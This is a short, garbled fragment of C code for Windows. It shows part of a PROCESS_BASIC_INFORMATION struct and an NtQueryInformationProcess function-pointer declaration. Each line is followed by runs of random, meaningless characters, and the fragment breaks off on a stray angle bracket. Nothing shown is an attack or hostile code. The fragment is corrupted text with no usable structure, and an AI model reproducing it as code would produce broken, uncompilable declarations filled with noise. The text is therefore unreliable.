DWORD AffinityMask; $?H]S]#|}.
DWORD BasePriority; |RHO+J
ULONG UniqueProcessId; H/cs_i
ULONG InheritedFromUniqueProcessId; EsT0"{
} PROCESS_BASIC_INFORMATION; ggrI>vaw
xT{TVHdU
PROCNTQSIP NtQueryInformationProcess; y,'FTP9?
<